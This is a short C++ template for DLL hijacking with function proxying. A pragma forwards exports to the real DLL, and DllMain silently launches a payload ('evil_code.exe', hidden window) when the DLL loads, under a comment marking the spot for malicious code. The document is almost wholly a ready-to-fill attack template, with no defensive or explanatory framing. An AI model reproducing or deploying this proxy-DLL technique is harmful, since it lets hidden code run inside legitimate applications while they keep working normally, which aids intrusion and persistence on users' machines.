DLL Hijacking w/ Function Proxying Template

// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"
// Pragmas to proxy functions go here.
// <dllname> should not include the .dll file extension.
#pragma comment(linker, "/export:<function>=<dllname>.<function>")

// Standard dllmain api entry created by VS
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
                //  Here's where we put our malicious code.
                WinExec("evil_code.exe", SW_HIDE);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}